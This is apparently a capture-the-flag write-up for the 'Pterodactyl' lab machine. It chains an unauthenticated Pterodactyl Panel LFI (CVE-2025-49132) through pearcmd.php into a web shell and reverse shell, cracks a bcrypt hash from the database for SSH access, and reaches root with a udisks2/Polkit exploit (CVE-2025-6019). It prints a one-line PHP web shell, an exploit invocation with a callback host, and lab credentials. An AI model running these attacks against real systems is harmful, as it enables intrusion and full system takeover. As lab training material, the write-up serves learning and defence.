Pterodactyl

leaks via changelog and ffuf finding phpinfo.php. CVE-2025-49132 LFI triggers pearcmd for RCE as wwwrun. Leaked .env credentials open MariaDB to dump a bcrypt hash; john cracks it for SSH. Spoofing PAM bypasses Polkit, while CVE-2025-6019 uses a SUID XFS protofile to race udisks2 for complete root.

CTF
Linux
Banner image

What we will Learn

  • Changelog as Recon: Version numbers, subdomain hints, installed packages, and debug endpoints all leaked from a single public changelog.txt before touching the login page.
  • phpinfo() Disclosure: An exposed phpinfo() page revealed disabled functions, open_basedir, PEAR path, and web root — turning a debug page into a full exploitation roadmap.
  • CVE-2025-49132 — LFI to RCE via pearcmd: The /locales/locale.json endpoint passes unsanitized input into include(), loading pearcmd.php which writes a webshell to the web root — three steps from LFI to interactive shell.
  • .env File as Credential Store: Laravel's .env file exposes database credentials, APP_KEY, and Redis config in plaintext — always the first file to read after gaining web shell access on a Laravel app.
  • CVE-2025-6019 — udisks2 TOCTOU LPE: libblockdev mounts XFS images in /tmp without nosuid during resize operations, honoring SUID bits — a malicious image with a SUID bash shell escalates to root during the brief mount window.
  • XFS Protofile Trick: Using mkfs.xfs -p protofile bakes SUID permissions directly into the image at creation time, bypassing the need to ever mount and write to the image as root.
  • Polkit Session Spoofing: Writing XDG_SEAT=seat0 and XDG_VTNR=1 into ~/.pam_environment tricks logind into treating an SSH session as a physical local session, satisfying Polkit's allow_active requirement.

Nmap

HTTP (80)

As we can see it hosting a Minecraft server community called "MonitorLand". There is a link button changelog it show us notes. It leak we can info such as:

CHANGELOG.txt
1MonitorLand - CHANGELOG.txt 2====================================== 3 4Version 1.20.X 5 6[Added] Main Website Deployment 7-------------------------------- 8- Deployed the primary landing site for MonitorLand. 9- Implemented homepage, and link for Minecraft server. 10- Integrated site styling and dark-mode as primary. 11 12[Linked] Subdomain Configuration 13-------------------------------- 14- Added DNS and reverse proxy routing for play.pterodactyl.htb. 15- Configured NGINX virtual host for subdomain forwarding. 16 17[Installed] Pterodactyl Panel v1.11.10 18-------------------------------------- 19- Installed Pterodactyl Panel. 20- Configured environment: 21 - PHP with required extensions. 22 - MariaDB 11.8.3 backend. 23 24[Enhanced] PHP Capabilities 25------------------------------------- 26- Enabled PHP-FPM for smoother website handling on all domains. 27- Enabled PHP-PEAR for PHP package management. 28- Added temporary PHP debugging via phpinfo()

From this changelog.txt file, we gather critical configuration and environmental data:

  • Version of Pterodactyl is v1.11.10: Outdated panel software, likely vulnerable.
  • Uses MariaDB version 11.8.3: Identifies the backend database engine.
  • phpinfo() debugging is enabled: Confirms a debug page is active somewhere in the web directory.
  • Subdomain Configuration: Discloses play.pterodactyl.htb, suggesting more virtual hosts may exist.
  • PHP-FPM & PHP-PEAR Enabled: The presence of PHP-PEAR provides a direct mechanism to escalate Local File Inclusion (LFI) into Remote Code Execution (RCE) via pearcmd.php.

What is Pterodactyl?

Pterodactyl is a free, open-source game server management panel written in PHP (Laravel framework) with a React frontend. It uses Docker containers to isolate each game server, and a daemon called Wings that runs on the host to manage those containers. https://pterodactyl.io/

[@portabletext/react] Unknown block type "toggle", specify a component for it in the `components.types` prop

Directory Enumeration

code
1ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt \ 2 -u http://pterodactyl.htb/FUZZ \ 3 -e .php 4 5 phpinfo.php [Status: 200, Size: 73020, Words: 3592, Lines: 828, Duration: 22ms]

The scan shows an exposed phpinfo() page.

Analyzing the exposed phpinfo.php page provides a definitive blueprint for the exploitation path by highlighting severe environmental misconfigurations:

  • disable_functions is empty: No administrative or operational restrictions are placed on dangerous PHP functions. Low level execution functions like system(), exec(), and shell_exec() are completely available. Achieving any form of PHP code execution will immediately result in direct Remote Code Execution (RCE).
  • open_basedir is empty: PHP processes are not locked into a specific directory tree. The engine can read and execute files globally across the operating system file structure, removing file-system containment blocks and maximizing the impact of Local File Inclusion (LFI).
  • PEAR path confirmed at /usr/share/php/PEAR: The active installation confirms the presence of pearcmd.php (typically located at /usr/share/php/pearcmd.php). Because the server uses PHP-FPM, this command-line package management tool can be safely invoked via an LFI vulnerability to register configuration arguments, creating a deterministic pipeline to drop web shells onto the host.
  • Web root path disclosed as /var/www/html/: Disclosing the exact physical web directory gives a concrete write target for generating persistent malicious scripts or locating relative operational assets.

Subdomain Enumeration

The scan successfully identifies a valid virtual host:

panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 453ms]

We add this newly discovered subdomain to our /etc/hosts file:

code
1echo "10.129.1.55 panel.pterodactyl.htb" | sudo tee -a /etc/hosts

Navigating to http://panel.pterodactyl.htb/ serves an administrative login interface. Knowing from our earlier changelog analysis that the installation is running Pterodactyl Panel v1.11.10, we can bypass the login form by searching for unauthenticated vulnerabilities affecting this specific version.

Initial Access: CVE-2025-49132 Unauthenticated RCE

The target runs Pterodactyl Panel v1.11.10, which is vulnerable to an unauthenticated Remote Code Execution flaw tracked as CVE-2025-49132.

Vulnerability Mechanics

The /locales/locale.json endpoint accepts user-supplied locale and namespace parameters and passes them directly into PHP's include() function without sanitization or authentication. While a verification hash parameter exists in the codebase, it is completely ignored by unpatched versions, allowing arbitrary Local File Inclusion (LFI).

The PEAR Execution Chain

Because our phpinfo() analysis confirmed an openSUSE backend with an uncontained PEAR environment at /usr/share/php/PEAR, we can pivot this LFI into arbitrary command execution using pearcmd.php:

  1. LFI Trigger: A request targets /locales/locale.json, loading the internal command-line tool via include('/usr/share/php/pearcmd.php').
  2. Web Shell Writing: Arguments are passed to pearcmd.php invoking its config-create module. This drops a lightweight PHP web shell into the publicly accessible web root: <?=system($_GET['cmd'])?>
  3. Shell Execution: We interact with the dropped script at http://panel.pterodactyl.htb/shell.php, passing a bash reverse shell payload payload to establish a callback.
code
1# Executing the python exploit chain (Ref: https://github.com/YoyoChaud/CVE-2025-49132) 2python3 exploit.py -u http://panel.pterodactyl.htb -p /usr/share/php/pearcmd.php -lh 10.10.14.48 -lp 8090

On our listener, we catch an interactive session running under the context of the wwwrun user:

Privilege escalation

Once interactive code execution is established as wwwrun, inspecting the Laravel framework configuration map file at /config/database.php confirms configurations for Redis and MySQL/MariaDB database linkages.

To extract the operational credentials stored inside the environment variables, the Laravel .env configuration file is dumped:

code
1cat /var/www/pterodactyl/.env

The file exposes plaintext authentication keys for the database backend:

code
1DB_CONNECTION=mysql 2DB_HOST=127.0.0.1 3DB_PORT=3306 4DB_DATABASE=panel 5DB_USERNAME=pterodactyl 6DB_PASSWORD=PteraPanel

Database Extraction

To access the local database cleanly, the low-level interactive terminal shell is stabilized using Python's pseudo terminal module:

code
1python3 -c 'import pty; pty.spawn("/bin/bash")'

Using the harvested credentials, we authenticating to the MariaDB instance

Then wrote this query to extract the users:

code
1"USE panel; SELECT id, username, email, password FROM users;"

We also got api keys.

Credential Cracking & SSH Access

Analyzing the retrieved hash structure for headmonitor breaks down its crypto parameters:

  • $2y$: Identifies the signature as Blowfish-based Bcrypt (specifically the PHP implementation variant).
  • $10$: The logarithmic cost factor, indicating the hashing function cycled $2^{10}$ (1024) times.
  • Remaining String: The combined random salt value and encrypted string payload.

The hash is written to a local file named hashes.txt on the attacking machine and processed against the rockyou.txt dictionary file using John the Ripper:

code
1➜ Downloads john --wordlist=./rockyou.txt hashes.txt 2Warning: detected hash type "bcrypt", but the string is also recognized as "bcrypt-opencl" 3Use the "--format=bcrypt-opencl" option to force loading these as that type instead 4Using default input encoding: UTF-8 5Loaded 2 password hashes with 2 different salts (bcrypt [Blowfish 32/64 X3]) 6Cost 1 (iteration count) is 1024 for all loaded hashes 7Will run 12 OpenMP threads 8Press 'q' or Ctrl-C to abort, almost any other key for status 9!QAZ2wsx (?)

Pivot to phileasfogg3

The cracking tool decrypts the hash value to reveal the cleartext password: !QAZ2wsx. While the database username is labeled headmonitor, system auditing indicates a matching password profile for the system shell user account. We leverage these credentials to authenticate over SSH as phileasfogg3

Privilege Escalation: CVE-2025-6019 udisks2 Local Privilege Escalation

the udisks2 service is vulnerable to CVE-2025-6019. This vulnerability is classified as a Local Privilege Escalation (LPE), which allows any user with an active local session to escalate their privileges to full root access without requiring any passwords. Exploiting this flaw could result in complete system compromise by an unprivileged user.

[@portabletext/react] Unknown block type "toggle", specify a component for it in the `components.types` prop

The repo has three files, each handling a distinct phase. The exploit is split this way because each phase solves a different problem.

  • Phase 1: Polkit Session Spoofing (bypass.py): Overcomes remote SSH session restrictions by injecting XDG_SEAT=seat0 and XDG_VTNR=1 into ~/.pam_environment. This tricks PAM into registering the next login as a physical, local console session, granting the passwordless privileges required by udisks2.
  • Phase 2: Building the Malicious Image (weapon.py): Bypasses a regular user's inability to write SUID binaries into a root-owned XFS directory. It uses an XFS protofile template (mkfs.xfs -p) to bake a pre-compiled SUID bash binary (pwnbash, 4755) directly into the image metadata at creation time without needing root access.
  • Phase 3: The TOCTOU Mount Race (trigger.sh): Exploits the brief Time-of-Check to Time-of-Use window where mounts the virtual disk inside without flags. The script floods the D-Bus system bus with continuous resize requests to forcefully stretch and trap this execution window open.

To win the race condition and spawn the root shell:

In the first terminal window, assign permissions and execute the mount looping tool:

code
1chmod +x trigger.sh 2./trigger.sh

In the second terminal window, monitor the temporary system path continuously to identify vulnerable, world-readable mount structures:

code
1watch -n 0.1 "ls -la /tmp"

The moment a non-hardened runtime directory such as blockdev.Q797J3 drops into view, pivot into the folder path instantly and run the payload with privileged preservation flags active to secure an interactive root shell:

code
1cd /tmp/blockdev.Q797J3 2./pwnbash -p

The -p flag tells bash to preserve the effective UID instead of dropping it. By default bash drops SUID privileges as a safety measure -p disables that. Because nosuid was not used on the mount, the kernel honors the SUID bit and the shell spawns as root.

Published 9 hours ago

  • Server Execution Context: The worker process operates under the wwwrun user account context. Any command execution achieved through the initial entry vectors will run with the system privileges of this user.
  • NGINX Version Disclosed: The frontend proxy service leaks nginx 1.21.5, an legacy version that provides a baseline for secondary infrastructure vulnerability analysis if required.
  • libblockdev
    /tmp
    nosuid